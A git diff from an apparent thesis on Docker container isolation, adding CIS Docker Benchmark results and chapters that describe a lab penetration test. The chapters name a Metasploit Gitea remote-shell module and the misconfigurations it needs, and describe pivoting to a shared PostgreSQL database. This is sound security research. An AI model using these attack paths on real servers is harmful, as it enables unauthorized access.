+ },
+ {
+ "id": "2.18",
+ "desc": "Ensure that experimental features are not implemented in production (Scored)",
+ "result": "INFO"
+ }
+ ]
+ },
+ {
+ "id": "3",
+ "desc": "Docker daemon configuration files",
+ "results": [
+ {
+ "id": "3.1",
+ "desc": "Ensure that the docker.service file ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.2",
+ "desc": "Ensure that docker.service file permissions are appropriately set (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.3",
+ "desc": "Ensure that docker.socket file ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.4",
+ "desc": "Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.5",
+ "desc": "Ensure that the /etc/docker directory ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.6",
+ "desc": "Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.7",
+ "desc": "Ensure that registry certificate file ownership is set to root:root (Automated)",
+ "result": "INFO",
+ "details": "Directory not found"
+ },
+ {
+ "id": "3.8",
+ "desc": "Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)",
+ "result": "INFO",
+ "details": "Directory not found"
+ },
+ {
+ "id": "3.9",
+ "desc": "Ensure that TLS CA certificate file ownership is set to root:root (Automated)",
+ "result": "INFO",
+ "details": "No TLS CA certificate found"
+ },
+ {
+ "id": "3.10",
+ "desc": "Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)",
+ "result": "INFO",
+ "details": "No TLS CA certificate found"
+ },
+ {
+ "id": "3.11",
+ "desc": "Ensure that Docker server certificate file ownership is set to root:root (Automated)",
+ "result": "INFO",
+ "details": "No TLS Server certificate found"
+ },
+ {
+ "id": "3.12",
+ "desc": "Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)",
+ "result": "INFO",
+ "details": "No TLS Server certificate found"
+ },
+ {
+ "id": "3.13",
+ "desc": "Ensure that the Docker server certificate key file ownership is set to root:root (Automated)",
+ "result": "INFO",
+ "details": "No TLS Key found"
+ },
+ {
+ "id": "3.14",
+ "desc": "Ensure that the Docker server certificate key file permissions are set to 400 (Automated)",
+ "result": "INFO",
+ "details": "No TLS Key found"
+ },
+ {
+ "id": "3.15",
+ "desc": "Ensure that the Docker socket file ownership is set to root:docker (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.16",
+ "desc": "Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.17",
+ "desc": "Ensure that the daemon.json file ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.18",
+ "desc": "Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.19",
+ "desc": "Ensure that the /etc/default/docker file ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.20",
+ "desc": "Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.21",
+ "desc": "Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)",
+ "result": "INFO",
+ "details": "File not found"
+ },
+ {
+ "id": "3.22",
+ "desc": "Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)",
+ "result": "INFO",
+ "details": "File not found"
+ },
+ {
+ "id": "3.23",
+ "desc": "Ensure that the Containerd socket file ownership is set to root:root (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "3.24",
+ "desc": "Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)",
+ "result": "PASS"
+ }
+ ]
+ },
+ {
+ "id": "4",
+ "desc": "Container Images and Build File",
+ "results": [
+ {
+ "id": "4.1",
+ "desc": "Ensure that a user for the container has been created (Automated)",
+ "result": "WARN",
+ "details": "running as root: vaultwarden nginx gitea",
+ "items": [
+ "vaultwarden","nginx","gitea"
+ ]
+ },
+ {
+ "id": "4.2",
+ "desc": "Ensure that containers use only trusted base images (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.3",
+ "desc": "Ensure that unnecessary packages are not installed in the container (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.4",
+ "desc": "Ensure images are scanned and rebuilt to include security patches (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.5",
+ "desc": "Ensure Content trust for Docker is Enabled (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "4.6",
+ "desc": "Ensure that HEALTHCHECK instructions have been added to container images (Automated)",
+ "result": "WARN",
+ "details": "Images w/o HEALTHCHECK: [docker.gitea.com/gitea:latest] [nginx:latest]",
+ "items": [
+ "[docker.gitea.com/gitea:latest]","[nginx:latest]"
+ ]
+ },
+ {
+ "id": "4.7",
+ "desc": "Ensure update instructions are not used alone in the Dockerfile (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "4.8",
+ "desc": "Ensure setuid and setgid permissions are removed (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.9",
+ "desc": "Ensure that COPY is used instead of ADD in Dockerfiles (Manual)",
+ "result": "INFO",
+ "details": "Images using ADD: [vaultwarden/server:latest]",
+ "items": [
+ "[vaultwarden/server:latest]"
+ ]
+ },
+ {
+ "id": "4.10",
+ "desc": "Ensure secrets are not stored in Dockerfiles (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.11",
+ "desc": "Ensure only verified packages are installed (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "4.12",
+ "desc": "Ensure all signed artifacts are validated (Manual)",
+ "result": "NOTE"
+ }
+ ]
+ },
+ {
+ "id": "5",
+ "desc": "Container Runtime",
+ "results": [
+ {
+ "id": "5.1",
+ "desc": "Ensure swarm mode is not Enabled, if not needed (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.2",
+ "desc": "Ensure that, if applicable, an AppArmor Profile is enabled (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.3",
+ "desc": "Ensure that, if applicable, SELinux security options are set (Automated)",
+ "result": "WARN",
+ "details": "Containers with no SecurityOptions: vaultwarden nginx gitea",
+ "items": [
+ "vaultwarden","nginx","gitea"
+ ]
+ },
+ {
+ "id": "5.4",
+ "desc": "Ensure that Linux kernel capabilities are restricted within containers (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.5",
+ "desc": "Ensure that privileged containers are not used (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.6",
+ "desc": "Ensure sensitive host system directories are not mounted on containers (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.7",
+ "desc": "Ensure sshd is not run within containers (Automated)",
+ "result": "WARN",
+ "details": "Containers with sshd/docker exec failures: gitea",
+ "items": [
+ "gitea"
+ ]
+ },
+ {
+ "id": "5.8",
+ "desc": "Ensure privileged ports are not mapped within containers (Automated)",
+ "result": "WARN",
+ "details": "Containers using privileged ports: nginx:80 nginx:443",
+ "items": [
+ "nginx:80","nginx:443"
+ ]
+ },
+ {
+ "id": "5.9",
+ "desc": "Ensure that only needed ports are open on the container (Manual)",
+ "result": "WARN",
+ "details": "Containers with open ports: nginx:80 nginx:443",
+ "items": [
+ "nginx:80","nginx:443"
+ ]
+ },
+ {
+ "id": "5.10",
+ "desc": "Ensure that the host's network namespace is not shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.11",
+ "desc": "Ensure that the memory usage for containers is limited (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.12",
+ "desc": "Ensure that CPU priority is set appropriately on containers (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.13",
+ "desc": "Ensure that the container's root filesystem is mounted as read only (Automated)",
+ "result": "WARN",
+ "details": "Containers running with root FS mounted R/W: vaultwarden gitea",
+ "items": [
+ "vaultwarden","gitea"
+ ]
+ },
+ {
+ "id": "5.14",
+ "desc": "Ensure that incoming container traffic is bound to a specific host interface (Automated)",
+ "result": "WARN",
+ "details": "Containers with port bound to wildcard IP: nginx:0.0.0.0 nginx:0.0.0.0",
+ "items": [
+ "nginx:0.0.0.0","nginx:0.0.0.0"
+ ]
+ },
+ {
+ "id": "5.15",
+ "desc": "Ensure that the 'on-failure' container restart policy is set to '5' (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.16",
+ "desc": "Ensure that the host's process namespace is not shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.17",
+ "desc": "Ensure that the host's IPC namespace is not shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.18",
+ "desc": "Ensure that host devices are not directly exposed to containers (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.19",
+ "desc": "Ensure that the default ulimit is overwritten at runtime if needed (Manual)",
+ "result": "INFO",
+ "details": "Containers with no default ulimit override: vaultwarden nginx gitea",
+ "items": [
+ "vaultwarden","nginx","gitea"
+ ]
+ },
+ {
+ "id": "5.20",
+ "desc": "Ensure mount propagation mode is not set to shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.21",
+ "desc": "Ensure that the host's UTS namespace is not shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.22",
+ "desc": "Ensure the default seccomp profile is not Disabled (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.23",
+ "desc": "Ensure that docker exec commands are not used with the privileged option (Automated)",
+ "result": "NOTE"
+ },
+ {
+ "id": "5.24",
+ "desc": "Ensure that docker exec commands are not used with the user=root option (Manual)",
+ "result": "NOTE"
+ },
+ {
+ "id": "5.25",
+ "desc": "Ensure that cgroup usage is confirmed (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.26",
+ "desc": "Ensure that the container is restricted from acquiring additional privileges (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.27",
+ "desc": "Ensure that container health is checked at runtime (Automated)",
+ "result": "WARN",
+ "details": "Containers without health check: nginx",
+ "items": [
+ "nginx"
+ ]
+ },
+ {
+ "id": "5.28",
+ "desc": "Ensure that Docker commands always make use of the latest version of their image (Manual)",
+ "result": "INFO"
+ },
+ {
+ "id": "5.29",
+ "desc": "Ensure that the PIDs cgroup limit is used (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.30",
+ "desc": "Ensure that Docker's default bridge 'docker0' is not used (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.31",
+ "desc": "Ensure that the host's user namespaces are not shared (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "5.32",
+ "desc": "Ensure that the Docker socket is not mounted inside any containers (Automated)",
+ "result": "PASS"
+ }
+ ]
+ },
+ {
+ "id": "6",
+ "desc": "Docker Security Operations",
+ "results": [
+ {
+ "id": "6.1",
+ "desc": "Ensure that image sprawl is avoided (Manual)",
+ "result": "INFO",
+ "details": "3 active/3 in use"
+ },
+ {
+ "id": "6.2",
+ "desc": "Ensure that container sprawl is avoided (Manual)",
+ "result": "INFO",
+ "details": "3 total/3 running"
+ }
+ ]
+ },
+ {
+ "id": "7",
+ "desc": "Docker Swarm Configuration",
+ "results": [
+ {
+ "id": "7.1",
+ "desc": "Ensure that the minimum number of manager nodes have been created in a swarm (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.2",
+ "desc": "Ensure that swarm services are bound to a specific host interface (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.3",
+ "desc": "Ensure that all Docker swarm overlay networks are encrypted (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.4",
+ "desc": "Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.5",
+ "desc": "Ensure that swarm manager is run in auto-lock mode (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.6",
+ "desc": "Ensure that the swarm manager auto-lock key is rotated periodically (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.7",
+ "desc": "Ensure that node certificates are rotated as appropriate (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.8",
+ "desc": "Ensure that CA certificates are rotated as appropriate (Manual)",
+ "result": "PASS"
+ },
+ {
+ "id": "7.9",
+ "desc": "Ensure that management plane traffic is separated from data plane traffic (Manual)",
+ "result": "PASS"
+ }
+ ]
+ }
+ ],
+ "checks": 117,
+ "score": 36,
+ "end": 1747671769
+}
\ No newline at end of file
diff --git a/tex/thesis.tex b/tex/thesis.tex
index 68fcc96..8d34ced 100644
--- a/tex/thesis.tex
+++ b/tex/thesis.tex
@@ -27,6 +27,7 @@
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{todonotes}
+\usepackage{pgfplots}
%% Definieren Sie hier weitere Literaturdatenbanken
%\addbibresource{Literaturdatenbank.bib}
@@ -74,19 +75,19 @@
%
\chapter{Containerization}
-Containerization is more relevant today than ever. Modern software design patterns like microsservices rely heavily on using multiple isolated components---something that would not be possible with traditional hardware-based systems, or at least unfeasibly expensive; this is especially relevant for development and testing environments, which require reproducible and lightweight setups. DevOps pipelines often use containerization to run tasks on demand, ranging from unit tests to artifact building, and are prevalent in many software control systems---for example in the form of GitHub Actions or GitLab CI. Compared to earlier approaches of virtual machines, containers allow running similarly independent systems with less overhead and less start-up delay, primarily due to not simulating the hardware and kernel, but only isolating user space. And these points are only amplified by the wide-spread adoption through major tech companies and cloud platforms, which spent time and money on improving the software and surrounding tooling \cite{finley_2014_amazon}\cite{tozzi_2018_5}, as well as expanding on the original idea through concepts like orchestration of larger, distributed systems \cite{kubernetes_2023_overview}.
+Containerization is more relevant today than ever. Modern software design patterns like microsservices rely heavily on using multiple isolated components---something that would not be possible with traditional hardware-based systems, or at least unfeasibly expensive; this is especially relevant for development and testing environments, which require reproducible and lightweight setups. DevOps pipelines often use containerization to run tasks on demand, ranging from unit tests to artifact building, and are prevalent in many software control systems---for example in the form of GitHub Actions or GitLab CI. Compared to earlier approaches of virtual machines, containers allow running similarly independent systems with less overhead and less start-up delay, primarily due to not simulating the hardware and kernel, but only isolating user space. These points are only amplified by the wide-spread adoption through major tech companies and cloud platforms, which spent time and money on improving the software and surrounding tooling \cite{finley_2014_amazon}\cite{tozzi_2018_5}, as well as expanding on the original idea through concepts like orchestration of larger, distributed systems \cite{kubernetes_2023_overview}.
\section{A Solution to Dependencies}
-Especially in development, dependencies are a well known problem in non-standard environments; different software requires different versions of the same libraries, often resulting in conflicts. This can be caused by installing the latest version of a given dependency at some point, but not updating it---commonly known as the ``it works on my machine'' problem \cite{pardo_2023_but}\cite{wang_2025_common}. One such scenario of a dependency conflict is python, which often removes functions even in minor versions \cite{a2024_whats}, thus leading to incompatibilities---which are expressed as run-time errors in the case of python specifically, making them harder to detect. Containerization solves that problem by virtualizing encapsulated, standardized environments; Docker is one of the most widely adopted containerization tools \cite{a2025_leading}, and will thus be used as a stand-in for containerization for the purposes of this thesis. There is some functionality specific to docker, which have been highlighted \autoref{cha:discussion}; overall these differences are very minor however, and for most purposes alternative tools like Podman fulfill the role equally well.
+Especially in development, dependencies are a well known problem in unstandardized environments; different software requires different versions of the same libraries, often resulting in conflicts. This can be caused by installing the latest version of a given dependency at some point, but not updating it---commonly known as the ``it works on my machine'' problem \cite{pardo_2023_but}\cite{wang_2025_common}. One such scenario of a dependency conflict is python, which often removes functions even in minor versions \cite{a2024_whats}, thus leading to incompatibilities---which are expressed as run-time errors in the case of python specifically, making them harder to detect. Containerization solves that problem by virtualizing encapsulated, standardized environments; Docker is one of the most widely adopted containerization tools \cite{a2025_leading}, and will thus be used as a stand-in for containerization for the purposes of this thesis. There is some functionality specific to docker, which have been highlighted in \autoref{cha:discussion}; overall these differences are very minor, however, and for most purposes alternative tools like Podman fulfill the role equally well.
\section{A Duplication of Dependencies}
-As each container is a separate system, this introduces redundancy, particularly in background services and system-level dependencies rather than application libraries. While Docker does not duplicate the kernel or even the hardware to the same level a full virtual machine does \cite{docker_2023_what}, each container still contains a complete operating system---although it usually does not feature a full desktop environment, but only a minimal user space---especially with minimal distributions like Alpine Linux. Furthermore there is commonly a larger dependency overlap in most modern software\todo{quote?}: Static elements like glibc and language interpreters mostly contribute to storage redundancy, but have a minimal performance impact. In contrast, service dependencies---including logging daemons, databases, and schedulers---consume CPU time, memory, and I/O resources. Considering similar services are often run on the same machine, such as two web services as shown in \autoref{sec:use_case_small_scale_web_services}, these dependencies are often similar or identical. One notable example is databases---which are commonly provided as standalone containers \cite{zhao_2024_simplifying}, instead of being shipped with the image. While this separation can be convenient, this can lead to multiple instances of the same container on one host.
+As each container is a separate system, this introduces redundancy, particularly in background services and system-level dependencies rather than application libraries. While Docker does not duplicate the kernel and the hardware similar to how a full virtual machine does \cite{docker_2023_what}, each container still contains a complete operating system---although it usually does not feature a full desktop environment, but only a minimal user space---especially with minimal distributions like Alpine Linux. Furthermore there is commonly a larger dependency overlap in most modern software\todo{quote?}: Static elements like glibc and language interpreters mostly contribute to storage redundancy, but have a minimal performance impact. In contrast, service dependencies---including logging daemons, databases, and schedulers---consume CPU time, memory, and I/O resources. Considering similar services are often run on the same machine, such as two web services as shown in \autoref{sec:use_case_small_scale_web_services}, these dependencies are often similar or identical. One notable example is that of databases---which are commonly provided as standalone containers \cite{zhao_2024_simplifying}, instead of being shipped as part of an image. While this separation can be convenient, this can lead to multiple instances of the same container on one host.
-\section{A Solution to Duplication}
+\section{A Solution to Duplication}\label{sec:a_solution_to_duplication}
-While much research has already explored reducing storage inefficiencies in docker images \cite{skourtis_2019_carving}, a less explored area is the duplication of service dependencies across containers. Many systems run multiple instances of the same service---message queues, databases, caching systems, authentication and redirection proxies, and logging systems are all common examples, despite their potential for centralization. While not all of these services can be reused, identifying the ones that are practical to share offers opportunities for less overhead and tighter integration with the host system. Logging in particular is a promising candidate, as not only is it essential for most systems, but docker already captures container output streams. Instead of routing them to a new container or service, they can be processed centrally on the host, reducing duplication and simplifying management.
+While much research has already explored reducing storage inefficiencies in docker images \cite{skourtis_2019_carving}, a less explored area is the duplication of service dependencies across containers. Many systems run multiple instances of the same service---message queues, databases, caching systems, authentication and redirection proxies, and logging systems are all common examples, despite their potential for centralization. While not all of these services can be reused, identifying the ones that are practical to share offers opportunities for less overhead and tighter integration with the host system. Logging in particular is a promising candidate, as it is not only essential for most systems, but docker already captures container output streams. Instead of routing them to a new container or service, they can be processed centrally on the host, reducing duplication and simplifying management.
\section{Sharing Resources---To the Wrong Audience}
@@ -94,6 +95,7 @@ One of the core premises of containerization is isolation---each container actin
These risks highlight the importance of considering security implications when services are reused for a hybrid environment---a challenge addressed in the following chapters.
+\clearpage
\chapter{Constructing a Real World Scenario}
Since the focus of this thesis is on identifying improvements and analyzing trade-offs between isolation and efficiency of real world applications, a realistic scenario is required. The constructed environment requires interfaces---HTTP(S), SSH, persistent volumes, background services---similar to those found in a production environment, while still keeping it minimal to ensure accuracy of any implementations. There are countless scenarios that fulfill these criteria, but one of the most common are web services.
@@ -120,7 +122,7 @@ Bitwarden, or more accurately vaultwarden---an open source implementation of a b
\subsubsection{NGinX---The Entrypoint}
-Reverse proxies like NGinX or Traefik are commonly used as an entry point to route incoming requests \cite{wahanani_2021_implementation} to the correct services based on hostname. Compared to Traefik, NGinX also provides a significant amount of additional functionality, however an extended feature set can also introduce unnecessary complexity, increasing the risk of misconfigurations---this has to be analysed in the following chapters. It is also important to point out that oftentimes a firewall is even before the proxy, or integrated into it; examples include iptables rules on the host, or fail2ban integrated with the nginx logs.
+Reverse proxies like NGinX or Traefik are commonly used as an entry point to route incoming requests \cite{wahanani_2021_implementation} to the correct services based on hostname. Compared to Traefik, NGinX also provides a significant amount of additional functionality, however an extended feature set can also introduce unnecessary complexity, increasing the risk of misconfigurations---this has to be analysed in the following chapters. It is also important to point out that oftentimes a firewall is even before the proxy, or integrated into it; examples include iptables rules on the host, or fail2ban integrated with the NGinX logs.
\subsubsection{Background Service Redundancy}\label{ssub:background_service_redundancy}
@@ -146,6 +148,7 @@ It should be noted, that the applications themselves are not the focus of the an
Even in a comparatively simple scenario such as the one described in this chapter, conflicts and may arise between the services---and even Docker itself. By default, all Docker containers are connected to the \texttt{docker0} network interface, which uses the subnet \texttt{172.17.0.0/16}\todo{cite: docker documentation}. An exception to this rule is Docker Compose, which creates a separate network for each Compose file. To alleviate this issue, a network must be defined in the Docker Compose file, and the corresponding subnet must be allowed in the PostgreSQL configuration\todo{cite: docker compose docs}.
+\clearpage
\chapter{Reproducibility}
Since the docker host system will also be tested, it also needs to be reproducible---to achieve that it will be instantiated as a virtual machine. Since the term ‘host’ often has different meanings, especially in a context of containerization, this section will clarify the terms used for the rest of the thesis:
@@ -163,77 +166,150 @@ Tools have been selected based on reproducibility and compatibility, but not per
\section{Tooling for the VM-Host}
-\todo{possible vagrant explanation}
+\todo{possible vagrant explanation, if needed}
\section{Preparing for Attack}
-To evaluate the effectiveness of base configuration and the implemented measures, a series of controlled attacks are performed from the client VM against the running services in the docker host. At first Ubuntu Desktop was considered as the OS, however as the client VM is not the focus of this thesis and thus does not need to be representative of the real world to the same degree as the docker VM, Kali Linux was determined to be a better option due to the suite of preinstalled tooling for the simulated attacks.
-
-To evaluate the effectiveness of base configuration and the implemented measures, a series of controlled attacks are performed from the client VM against the running services in the docker host. The process is split into three phases, mirroring real world scenarios:
+To evaluate the effectiveness of configuration and the implemented measures, first a preliminary scan is run on the docker-host; afterwards a series of controlled attacks are performed from the client VM against the running services in the docker host. The scan is conducted using the CIS Docker Benchmark, which serves as a foundational tool for establishing a security baseline for all environments. The attack process afterwards is split into three phases, mirroring real world scenarios:
\begin{itemize}
\item Reconnaissance: Tools like nmap, netcat and curl are used to discover any open ports, services, and misconfigurations.
\item Exploitation: Metasploit and custom scripts are used to test the effectiveness of known exploits on a specific configuration. Due to the reproducibility of the environment, effectiveness can be measured and compared as a simple pass/fail rate.
\item Post-Exploitation: After gaining access, tools like linpeas and manual inspecting are used to determine access to shared resources.
\end{itemize}
+For the client VM, first Ubuntu Desktop was considered as the OS, however as the client is not the focus of this thesis and thus does not need to be representative of the real world to the same degree as the docker VM, Kali Linux was determined to be a better option due to the suite of preinstalled tooling for the simulated attacks.
+
The goal in these tests is not to discover novel exploits, but to simulate real world attack paths and analyse the additional risk introduced by the hybrid architecture. It should also be noted, that some tested measures only protect against a specific step, or assumes certain prerequisites---some steps will thus be skipped where applicable.
\section{Entrypoints}\label{sec:entrypoints}
While for most attacks the entry point will be the same as for regular usage---in most cases via the exposed HTTP(S) port---such attacks are limited to surface weaknesses. It is however realistic to expect attackers to gain access in some form, through misconfigurations, issues introduced in the further up the software supply chain, or in extrem cases even through zero-day exploits; thus it is prudent to adopt ``assume breach'' mindset for setups as described in this thesis \cite{souppaya_2017_application} \cite{avrahami_2019_breaking}---for the purposes of testing the configurations, an assumed breach will be provided via a docker container\todo{How will access be simulated?}.
+\clearpage
\chapter{The Holes in the Wall}
-This chapter describes the tests against the architecture. Each test starts with the configuration described in \autoref{appendix_base_config}, with the corresponding changes as described in \autoref{appendix_patches} applied via patch\cite{patch1}. Assuming a complete configuration, the VMs are booted with vagrant\cite{hashicorp_vagrant}.
+This chapter describes the tests against the architecture. Each test starts with the configuration in \autoref{appendix_base_config}, modified using the patches in \autoref{appendix_patches}, applied via \texttt{patch} \cite{patch1}. Once the configuration is complete, the VMs are booted with Vagrant \cite{hashicorp_vagrant}.
\section{Security analysis---Use-Case: Web Services}
-\subsection{Base Configuration}
+\subsection[Base Configuration]{Base Configuration\footnote{\autoref{fig:webservice}}}
-The base configuration is minimal, relying on default values wherever possible.
+The base configuration is minimal, relying on default values wherever possible. As a result the Docker Benchmark results\footnote{\autoref{docker_bench:base}} are not directly relevant to this section, but serve as a baseline with later comparisons.
-\subsubsection*{Reconnaissance}
+\subsubsection*{Reconnaissance}\label{ssub:base:recon}
\paragraph*{NMap Scan}
-As shown in \autoref{log:base:nmap_sS}, although no unexpected ports are open, the scan does reveal that the setup redirects to Gitea by default, instead of Bitwarden or a blank page. This is behavior is expected, as no alternative default has been configured.
+As shown in \autoref{log:base:nmap_sS}, although no unexpected ports are open\footnote{Port 2222 is used for the setup via Vagrant, and thus only an artifact of the specific environment used for this thesis. An identical setup in a production environment would not expose port 2222.}, the scan does reveal that the setup redirects to Gitea by default, instead of Bitwarden or a blank page. This behavior is expected, as no alternative default has been configured.
\paragraph*{Known services analysis}
-The HTTP headers of the nginx entrypoint (\autoref{log:base:curl_I}) show a redirect and reveal the Nginx version; following the redirect of the Gitea service (\autoref{log:base:curl_IL_gitea}) does not bring any new information. The body of this request (\autoref{log:base:curl_L_gitea}) forms the landing page of Gitea, and does not directly expose any critical data. However, it does reveal the installations version number, which paired with known security vulnerabilities \cite{gitea} could pose a security risk. It also reveals the address \texttt{http://localhost:3000/} in a \texttt{} tag, though it is unclear if this reflects an active configuration or a visual misconfiguration. However, base64 encoded manifest includes the same address, implying it is indeed used internally.
+The HTTP headers of the NGinX entrypoint (\autoref{log:base:curl_I}) show a redirect and reveal the NGinX version; following the redirect of the Gitea service (\autoref{log:base:curl_IL_gitea}) does not bring any new information. The body of this request (\autoref{log:base:curl_L_gitea}) forms the landing page of Gitea, and does not directly expose any critical data, though it does reveal the installation's version number, which paired with known security vulnerabilities \cite{gitea} could pose a security risk. It also reveals the address \texttt{http://localhost:3000/} in a \texttt{} tag, though it is unclear if this reflects an active configuration or a cosmetic misconfiguration. However, base64 encoded manifest includes the same address, implying the address is indeed used internally.
Vaultwarden presents a similar issue (\autoref{log:base:curl_L_bitwarden}) with regard to its version after allowing the page to execute JavaScript, albeit with a more complex set of HTTP headers (\autoref{log:base:curl_IL_bitwarden}).
\subsubsection*{Exploitation}
-As the goal of this exercise is not to find novel exploits, and preliminary scans do not reveal any known vulnerabilities, it needs to be assumed the configuration is moderately safe as is. For multilayered security it is essential to test more components than just the external interface\todo{cite paper about this approach}. To simulate internal access, the container described in \autoref{sec:entrypoints} is used, as demonstrated in \autoref{log:base:metasploit:ssh_login}. Similar scans, as described before, confirm the presence of an open port 3000, as shown in \autoref{log:base:vuln:nmap}, but do not reveal any additional services.
+As the goal of this exercise is not to find novel exploits, and preliminary scans do not reveal any known vulnerabilities. This suggests the base configuration is moderately secure as is. For multilayered security it is essential to test more components than just the external interface\todo{cite paper about this approach}. To simulate internal access, the container described in \autoref{sec:entrypoints} is used, as demonstrated in \autoref{log:base:metasploit:ssh_login}. Similar \texttt{nmap} scans as described before confirm the presence of an open port 3000, as shown in \autoref{log:base:vuln:nmap}, but do not reveal any additional services.
\subsubsection*{Post-Exploitation}
-In a typical Docker Compose setup, Docker networks already provide strong encapsulation\todo{cite the paper about Docker network security}. As such the database for either service could not be accessed. The only successful container access was establishing direct communication with other public-facing services, effectively bypassing any potential firewall. However, this can again be alleviate by using a separate bridge network between each service and the Nginx container.
+In a typical Docker Compose setup, Docker networks already provide strong encapsulation\todo{cite the paper about Docker network security}. As such the database for either service could not be accessed. The only successful container access was establishing direct communication with other public-facing services, effectively bypassing any potential firewall. However, this can again be alleviated by using a separate bridge network between each service and the Nginx container.
-\subsection{Hybrid configuration}
+\subsection[Hybrid Configuration]{Hybrid Configuration\footnote{\autoref{fig:webservice-hybrid}}}
-\subsection{Outdated versions of services}
+\subsubsection*{Reconnaissance}
-[TODO: Gitea 1.17.2]
+On a surface level, the hybrid configuration does not differ from the base configuration in any way\footnote{The same tests have been performed as described in \autoref{ssub:base:recon}, results have been omitted for brevity, as they are identical}. This is expected, as the only major changes lies in the database, which is not public facing in either configuration. However, after simulating access again, an \texttt{nmap} scan reveals an additional open port 5432 (\autoref{log:hybrid:vuln:nmap}).
-\chapter{Discussion - NAME PENDING}\label{cha:discussion}
+\subsubsection*{Exploitation}
-Introduction/Summary
+After establishing a port forward to the client VM (\autoref{log:hybrid:meterpreter:fwd}), basic attacks can be run against the PostgreSQL database---the same instance in use by the two services. This poses a risk of DoS attacks, or even data breaches, if the instance is sufficiently misconfigured. Unfortunately for the purposes of this test, an up-to-date PostgreSQL database is secure against common attacks (\autoref{log:hybrid:portfwd:postgres_version}, \autoref{log:hybrid:portfwd:postgres_bruteforce})\todo{cite pentest report postgres}.
+
+\subsection{Outdated Versions of Services}
+
+As the hybrid configuration---contrary to expectations---did not introduce any major security flaws, this configuration is intended to demonstrate how potential risks mentioned in the previous sections could become actual risks. As it is expected for this configuration to perform badly in terms of security, the CIS Docker Benchmark has been omitted. Due to the reverse proxy interfering with one of the exploits this configuration intends to demonstrate, additionally port 3000 is directly forwarded from the gitea service. It can be argued that such a misconfiguration is realistic, as the official gitea documentation suggests forwarding port 3000\todo{cite https://docs.gitea.com/installation/install-with-docker}. For the exploit to work, additionally the configuration \texttt{ALLOW\_LOCALNETWORKS} in the migrations section needs to be enabled. While in production scenarios this is rarely a required options, especially in home-lab environments, it is conceivable that migrations within a local network happen, for example if a different git server was previously used.
+
+\paragraph*{Reconnaissance}
+
+An \texttt{nmap} scan on this system confirms the presence of an open port 3000 (\autoref{log:insecure:nmap}), as expected; and accesing the webservice---either via the hostname \texttt{gitea.vm.local} or the now exposed port \texttt{192.168.56.10:3000}---confirms the outdated version \texttt{1.16.6}. Otherwise surface scans of this configuration produce identical results to the hybrid configuration.
+
+\paragraph*{Exploitation}
+
+With the Gitea service exposed, the metasploit module \texttt{exploit/multi/http/gitea\_git\_fetch\_rce} can establish a remote shell automatically, as shown in \autoref{log:insecure:gitea_rce}.
+
+\paragraph*{Post-Exploitation}
+
